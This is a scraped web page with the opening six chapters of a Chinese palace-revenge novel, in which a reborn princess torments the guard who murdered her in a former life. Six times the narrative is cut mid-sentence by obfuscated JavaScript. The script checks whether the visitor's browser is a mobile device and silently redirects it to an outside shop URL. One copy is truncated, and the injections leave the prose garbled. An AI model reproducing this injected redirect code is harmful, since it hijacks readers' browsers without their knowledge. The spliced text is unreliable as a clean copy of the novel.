《杀我的人是我侍卫包月》 1. 我穿越了 “不……不要杀我。” 不知是梦还是现实，我见到了一个身穿黑色衣服，带着斗笠，蒙着面具，手里拿着刀的男人。 他一步一步朝我逼近，跌倒在地的我只能不停求饶。 之前即使再害怕，我也没有哭过。 这一次，我竟然察觉到我的眼角有些许湿润。 我想现在我一定是面容凄凄，惹人怜爱，然而对方却没有丝毫动容，拿着亮闪闪的刀刃，直直往我心脏上刺去—— “啊！” 我惊呼出声，吓得坐直了身体。 额上的汗大滴大滴地顺着脸颊滑落，我顾不上擦，只是大口大口地喘着气。 胸口仍旧闷闷的，有种说不上来的难受。 “呀，公主醒了！” 忽如其来的声音把我吓了一大跳，而后我才开始打量四周的环境。 周围是我从未见过的景象，像是嬷嬷口中的豪华宫殿，梳妆台上摆满了珠宝和金钗，就连我所处的软榻，用的也是上好的绸缎。 怎么回事？ 难道我被人卖了？ 我有这个想法也不奇怪。毕竟又不是没被打晕卖过。 但是我转念一想……不对。 我不是死了吗？ 我闭上双眼，脑海里隐隐约约残留着一些片段。 “公主殿下，您终于醒了！” 我倏然睁开双眼，面前出现了两个身穿粉裙的女子。 我连忙拉好被子，谨慎地问：“你们是谁？” 二人对视了一眼，然后齐齐跪在地上：“公主，您别吓奴婢们啊！” 公主？ 我指了指自己：“我？” 二人瞪着圆溜溜的双眼，左边那人率先开口：“公主，我叫小翠，她叫小兰。您不记得？” 我摇摇头。 什么小翠小兰？ 从未听过。 我捏了捏自己的脸颊。 阵阵痛意清楚地提醒着我，这不是做梦。 我掀开被子跑到梳妆镜前，看了看自己的脸颊，是我的脸无疑。 只不过，这张脸，比之前的我更稳重一些。 那么……就只有一种可能。 我穿越了？ 并且还穿越到几年后的时空？ 这究竟怎么回事？ “小翠，如今是何年？” “公……公主。”小翠哭丧着脸，“是……正和三十九年。” 是了……我再次环视了四周。 真的是五年后的世界。 我还没来得及完全消化，外面忽然传来一阵声音。 我问道：“什么动静？” 小兰解释：“是穆侍卫……” “穆侍卫因保护公主不周，被罚鞭三百。” 什么？ 我连忙跑出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887408|192066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前我被抽三十鞭便已血肉模糊，半生不死，三百鞭可还了得？！ 只是当我站在殿门口时，却呆住了。 因为跪在地上正受着鞭刑的人，居然是我曾经喜欢过的人，穆清风。 我大喝一声：“住手！” 旁边的侍卫很快便停下手。 我看到周围的人都停下手中的动作，齐刷刷地朝我下跪。 来不及管他们，我小跑到穆清风身边，想要把他扶起来：“你没事吧？” 谁知，穆清风却生疏地回绝我，俯身向我请罪：“都是属下的错，属下护主不力，请公主责罚！” “起来。”我命令道。 他终于颤颤巍巍地站起来，我怕他摔倒，想上前扶住他，没想到忽然一阵头晕。 “公主。” 本在扶人的我反倒被另一人扶了一把。 我这才瞥向他的脸。 只一眼便愣住了。 几乎是下意识的，我“啪”的一下甩了他一耳光。 那人似是没料到我会这么做，瞬间跪在地上：“公主息怒。” 我没有说话，而是死死盯住这个人。 一张出现在我梦里无数次的脸。 玄钰。 一个我死都不会忘记的名字。 一个我死都不会放过的人。 上一世害我的杀人凶手。 这一世居然成了我的侍卫。 2. 恢复记忆 真是天道好轮回！ 我忽然冷笑出声，抬起手又甩了他几耳光，直到看见他原本白皙的脸上逐渐染上了血的颜色，才满意地收手。 一旁的小翠小兰许是被我这一动作惊住了，呼吸放的很轻。 我瞥了她俩一眼，而后转过身，深深闭上了眼睛。 前世被残害的场景还依稀历历在目—— “你这个贱人，死在本少爷手里是你的荣幸！” 我被绑的动弹不得，只能狠狠瞪着他。 “还敢瞪我？！” 他怒吼一声，还是不肯放过我，一手揪着我的衣领，一手狂扇耳光。 我猛吐一口血。 那抹红色溅得遍地都是，看得让人心惊。 “你迟早会遭报应的！你不得好死！”我意识渐渐模糊，不顾一切地怒骂着他。 …… 是的，我都想起来了。 我都想起来了。 我记起了前世所发生的一切。 我记起了那个杀我的人的脸。 …… 我握紧双拳，心道，几个巴掌可真是便宜他了。 不过没关系，以后的日子可还长着呢。 /// 回到殿内，我坐在软榻上，一边品尝着小翠小兰端来的小茶点，一边听小翠小兰讲之前的故事。 “咱们陛下啊，可宠公主了。”小翠捂嘴笑道。 我咬着一块梨花糕，若有所思。 当今皇帝是我同父同母的亲生哥哥。 我们有一个舅舅，也就是当今的丞相，裴渊明。 忽然有一个太监进殿，告知我已请太医给穆清风医治。 我点点头，发现小翠小兰的神情开始变得不自然起来。 我问道：“怎么了？” 小翠小兰对视了一眼，最终，小兰犹豫了会儿，道：“公主之前不是最讨厌穆侍卫了吗？” 我疑惑。 小翠接着道：“对啊，您之前最喜欢玄侍卫，今天还是头一次当众打他，把奴婢们都吓坏了。” 闻言，我的脸立刻就冷了下来。 她们也察觉到我神色不对，忙跪在地上请罪：“奴婢们多嘴！” 我没有理她们，毕竟理论上，这是我第一次接触她们，必须要让她们看清楚我的态度。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887409|192066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论之前怎样，自从我成为“长公主”的这日起，我喜欢穆清风，讨厌或者说憎恨玄钰，这是不争的事实。 …… 不过……我不禁想，为什么之前的我会和如今的我反着呢。 我还没想明白这个问题，便被哥哥身边的贴身太监传召面圣。 我简单整理了仪容，由小翠小兰扶着坐上了步撵。 这是我第一次坐步撵。 头上的金银珠钗微微晃动，发出清脆的响声。沉重感提醒着我，我如今不再是那个人人可欺，无人可要的孤女，而是一人之下万人之上的长公主。 权势真好，怪不得人人都想要。 到了正和殿，我一边走，一边注视着那个坐在王座上的男人，我的皇兄。 他的眉眼跟我很像，简直像一个模子刻出来的。 见到他，我有种莫名的亲切感。 我告诉自己。 那是我的亲人，跟我血脉相连的亲人。 “参见陛下！”我躬身行礼，却很快被他扶起来。 “遥儿又瘦了。”路怀川道，“听说你救了穆风那小子？” 闻言，我蹙紧眉头。 3. 他是恶狼 见状，皇兄帮我把眉头舒展开，还一副调侃的样子逗我：“遥儿这是怎么了？” “……皇兄。”我顿了顿，越来越疑惑，为什么他们都对这件事这样关心。 穆风？就是穆清风吧，我想。 “皇兄在说穆清风吗？” 听到这个名字，我明显察觉到皇兄的神色冷了冷。 “遥儿，你真的没事吧？穆风那小子没对你做什么？” 他能对我做什么？ 从前的我们可是双向奔赴，恩爱非常。 “臣妹没事，谢谢皇兄关心。” 路怀川忽然甩了甩袖口，冷哼一声：“三百鞭真是罚轻了，遥儿，你不该这么仁慈！” 仁慈。 我断然不敢相信，某日，“仁慈”这个词也能用来形容我。 我自小孤苦，尝遍世间冷暖，早已看透红尘，所以我性格从小就冷冷的，谁也不在乎。如果用一个词来形容我的话，那也得是“心狠手辣”而非“仁慈”。 唯一让我感到温情的人就是穆清风。 他家境殷实，虽说算不上达官显贵，但也算的上有头有脸的大户人家。 他从不嫌弃我的身份，对我始终如一。 只可惜…… 只可惜…… 那个恶魔不顾一切将我抢走，见我不从，就把我卖到青楼，甚至最后还杀了我。 我恨不得将他千刀万剐。 不！千刀万剐也还是便宜了他。 我要让他求生不得求死不能！ 我要让他下地狱！ …… 我渐渐冷静下来，面容依旧平淡：“谢谢皇兄，臣妹自有分寸的。” 回到宫中，我远远就看见玄钰在门口跪着，不知道是不是故意让我讨嫌。 我走到他身边，道：“你抽了穆清风多少鞭，下去自己领。” 那人眸光一动，喉结滚了滚，最终只说了个：“是。” 我抬眼，那抹身影早已消失不见。 我心中疑窦丛生。 觉得这一世有点怪怪的。 一切都怪怪的。 上一世玄钰那般阴狠毒辣，这一世怎么甘愿跪在我脚下受这份屈辱？ “小翠，让玄钰受完罚后来见本宫。”我几近咬着牙道，“本宫要验伤！” …… 这次回来，我闻见了一股幽沉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887410|192066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木檀香。 我问小翠是何人点的，小翠说这是我之前最喜欢熏的。 我没有多想，觉得脑袋有些晕，躺在床榻上迷迷糊糊睡着了。 我又做了那个可怕的噩梦。 “……不要杀我……不要杀我……” 我醒来，发现殿内只有玄钰一个人。 他正抬起头看我，脸色惨白。 我挣扎着起身，道：“谁准你抬头看本宫！” 听了我的话，他瞬间垂下头，一副乖巧的模样：“公主，属下已领完罚，请公主验伤。” 他伏身在地，像只蜷缩起来的小狗。 我明明知道他绝非小狗而是一头恶狼。 真是会伪装。 我冷笑。 我抬起脚，放在他早已破烂不堪的脊背上，狠狠碾压。 他疼得冷汗直冒，还是没有发出任何声音。 我知道…… 他不敢反抗。 我如今弄死他，就跟捏死一个蚂蚁那样简单。 想到这儿，我忽然笑了。 笑得很大声。 我蹲在他身边，告诉他：“玄钰，本宫要你……不得好死。” 4. 甘之如饴 说完这句话，我还故意瞥了眼他的神情。 那淡然若茶的苍白神色没有分毫变化，哪怕我一直盯着他。 半晌，他开口，语气过分虔诚：“不论公主怎么对属下，属下都甘之如饴。” 呵。 话说的可真好听。 可惜我不吃这套。 我让他滚出去，别再这里碍我的眼。 他踉跄起身，躬身道：“属下告退。” 在转身的瞬间，恰好撞见了匆匆赶来的小翠。 小翠小心地瞥了眼玄钰，只不过很快收回了目光。 虽然只有一瞬间，但还是被我注意到了。 “公主，穆侍卫求见。” 我察觉到玄钰的身影僵了僵，而后再没分给他半分眼神。 “让他进来。”我冷冷开口，实则内心有些忐忑。 我不知道该怎么面对他。 小翠：“是。” 我转身，重新坐在榻上，尝试转移自己的注意力，摆弄起手里的玛瑙珠串来。 红艳似火，真好看。 我盯着跟鲜血一样的红色，眼神变得迷离。 “属下穆风见过公主。” “起身吧。”我渐渐回过神来，见到穆清风顿时喜笑颜开。 “你来了？怎么样？还有哪里不舒服吗？” 我把他扶起来，他还是跟上次一样有些抗拒，毫不留情地回绝了我。 他站起身，往后退了好几步。 我有点惊讶：“你不记得我了吗？” 在他面前，我没有用敬称。 我把我最温柔的一面展示给了他。 “记得。”他一字一顿道，“公主，属下一辈子都不敢忘。” 我勾唇笑了笑：“我也是，永远不会忘。” 内心不由无奈。 或许……我想，或许之前我对他太严厉了。毕竟小翠小兰说，我最不喜欢的人就是他，想必以我的手段，他的日子该不好过。 不过没关系，如今不一样了。 我宠着他，没有人敢再欺负他。 这个时候，我还没有意识到，虽然“敢”与“会”只有一字之差，但含义却是天壤之别。 我从桌上端来一盘自己在吃的梨花糕，塞到他手里一块。 “尝尝。”我眼神里透着一种光，“之前是我对你太残 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887411|192066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍了，之后我会改的。” “公主。”穆清风捏着手里的梨花糕，心里五味陈杂，“属下……属下配不上公主的怜悯。” 怜悯？ “怎么能叫怜悯呢？！”我不满地对他道，“你是真的不认识我了吗？” “我叫青青，大名路青遥，我们是正和二十九年认识的，那日还下了大雪……” 我一连串说着，语气越来越快，尽管我告诉自己不要心急、不要心急……但看着上一世唯一对我好的人如今跟我这么生疏，我心里就有种刀割一般的痛。 “公主，您言重了。”穆清风朝我磕了个头，“劳烦公主挂念，属下已无大碍，属下告退。” “等……”还没来得及说出口，余光之处，那块刚刚被我塞在穆清风手里的梨花糕掉在了地上。 上面红了大半，不知道是谁的血。 我抬头，原本跪在这的人早已消失不见。 我叹了口气，不停地告诉自己，我不能着急。 我不能着急。 来日方长。 我盯着不远处白色的窗，想了很久才恍然发觉，“来日方长”这几个字我对另一个人也说过。 5. 生不如死 转眼已入冬，天气严寒，我的身体愈发倦怠，一连数十日，我都待在这青阳宫里，日子也愈发无聊。 我见到玄钰和穆清风的次数也逐渐变少。 听小翠小兰说，每年这个时候侍卫们都会面临一次严厉的考核。 只有合格者才能继续坚守在原先的职务上。 我以为只是简单的武功考核，没想太多。 毕竟我认识的穆清风为人耿直，自小练功，这点考核自然不在话下。 直到一日午后，玄钰跪在我面前复命。 彼时，我正在摆弄小翠刚从后院摘回来的寒梅。 见就他一人，我微微蹙眉：“穆清风呢？” “回公主，穆风考核未通过，已经被调离青阳宫。” 我愣了愣。 满脑子都是：这怎么可能？ 他一定在骗我！ 我大喝了声：“放肆！” 玄钰朝着我，深深把头埋在地上：“公主息怒，属下不敢欺瞒公主。” …… 我还是不相信。 明明穆清风自小练功，不说在这世上，就论在这个皇城，功夫也是数一数二。 怎么可能连皇宫的侍卫考核都没有通过。 反倒是玄钰。 又没练过功夫，之前又是个不可一世的王爷，结果居然轻轻松松过了这个考核？ “本宫要去找皇兄！”我往前踏了几步，气势汹汹。 “公主！”玄钰反抱住我的腿。 “大胆！”我震惊他竟会如此，毫不留情地扇了他一巴掌。 这是我第二次打他。 第一次打他纯粹是为了泄愤。 这一次，反倒是给了我惩罚他的理由。 我贵为当朝长公主殿下，身份何等尊贵。他，一个侍卫，竟然对我不尊。 再加上欺瞒主人，论罪，我把他赐死都不为过。 “来人呐！”我唤道，“你们还愣着干什么？！这个贱奴对本宫不敬，还不快拉下去！” 只是，令我没想到的是，小翠小兰居然会跪下来替玄钰求情。 我看着眼前的景象，呆得说不出话。 玄钰已经被押到红棕色的木凳上。粗壮的木板起起落落，无一例外打在他的身上。 不一会儿，他原本白皙的脸上就开始冒豆大的汗珠，后背也渗了血，看上去有些吓人。 我斜睨着他，眼神中写满了不屑。 看见他痛苦，我便兴奋。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887412|192066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如今，他的命掌握在我手里。我不说停，他就会一直这么痛苦下去…… 小翠小兰还在跪着，不停向我求情。 这两个吃里扒外的东西，怎么能帮着外人？！ 我勾唇，眼角闪过一丝狠厉。 我把小翠小兰扶了起来，然后一步一步走到玄钰身前，蹲下来：“我怎么可能让你死？” 我捏着他的下颌，恨不得把他的脸捏碎：“我要让你生不如死！” 我站起来，甩袖转身，只留一个冷漠的背影。 “公主，他晕了。” “晕了就用水泼醒，只要没死就接着打，但也别让他死了。”我冷淡道，“本宫还没玩够呢。” …… 青阳宫外忽然传来声音——“皇帝驾到！” 我一听是皇兄来了，立马迎了上去。 “遥儿，看朕把谁给你带来了。” 我躬身行礼：“见过皇兄。” 起身时，往皇兄身后一瞥，没想到竟然是穆清风。 我惊喜地叫他的名字：“穆清风！” 皇兄却摇了摇头：“不，遥儿，他叫穆风。” 我蹙了蹙眉，始终不理解，大家为什么都叫穆清风，穆风啊？ 6. 我的亲人 正犹豫着要不要问问，余光之处，穆清风忽然被两个侍卫压着跪在了地上。 皇兄一声令下，侍卫不知道从哪里变出来一根长长的牛鞭，往穆清风身上打起来。 狠厉程度丝毫不逊于我对玄钰半分。 我大惊失色，想也没想就跑过去护住穆清风。 “皇兄，不要——”我大喊一声，跪下来求皇兄，求他开恩。 皇兄把我扶起来，告诉我：“遥儿，他叫穆风。” 我愣了愣，有些不知所措。 皇兄见我不解，继续道：“这是你亲口给他赐的名字。” 我，亲口赐给他。 可是，我跟他认识的时候他就叫穆清风啊。 “不可能……”我喃喃道，抓住穆清风的手臂，“你快告诉皇兄，你叫穆清风啊。” 不论我怎么摇晃他的手臂，他还是一动不动，眼神直直地望向前方，不看我一眼。 “皇上……”身后传来一阵声音。 我转身，是玄钰醒了。 他挣扎着跪在了我的身旁，向皇兄行礼。 我还没来得及说什么，皇兄居然直接让他站了起来。 我瞪大双眼，忽然意识到一个事实—— 是了，自从我成为长公主的那天起，周围的一切都怪怪的。 我身边最亲近的侍女小翠小兰公然偏袒我的仇人。而今，皇兄虽然嘴上没说，但当着我的面惩罚穆清风就是一个活生生的警告。 我本以为，他们都是我的亲人。 可没想到，他们如今帮着我的仇人来对付我和我最爱的人。 真是可笑！ 可笑！ 可是…… 我想，这一世绝对跟上一世不一样了。 凭我的身份一定可以改变什么。 /// 不多时，皇兄终于走了。 穆清风一共被罚了三十鞭。 我半坐在地上，看着不远处窗边的梅枝，心里有种从未有过的刺痛感。 玄钰膝行着往我的方向，想要扶我起来：“公主。” 尽管他脸色苍白如纸，我还是不留情地打了他：“给本宫滚！” 当着他的面，我抱住浑身是血的穆清风，用两个人才能听见的声音告诉他，我爱他始终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887413|192066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没变。 上一世，在我被玄钰抢走之时，穆清风拼了命也要护住我，可惜再高强的武功终究还是打不过滔天的权势，我被玄钰强行带走，而穆清风被打的浑身青紫，扔到了漫天雪地里。 后来，我被卖到青楼，成为了一个歌妓，直到我死，再也没有见过穆清风。 …… 这一次，穆清风没有推开我，他用他的双手环抱住我，轻轻告诉我：“属下没事，公主不必担心。” 听到他跟我说话，我开心极了。 我就知道，他一定不会忘记我的。 我就知道，他记得我。 我偷偷塞给穆清风一瓶药，倏然推开他，脸色也凝重起来：“穆风！你居然敢骗本宫！” 穆风愣了愣，然后明白了我的意思：“属下知罪，请公主责罚！” 小翠小兰想要开口说些什么，我告诉她们，我有些头晕，让她们扶我休息。 …… 而后，我故意大声吩咐小翠，把玄钰叫过来。 既然身边的人都向着玄钰，那么我也不能落下。 计谋得逞后，我勾唇冷笑。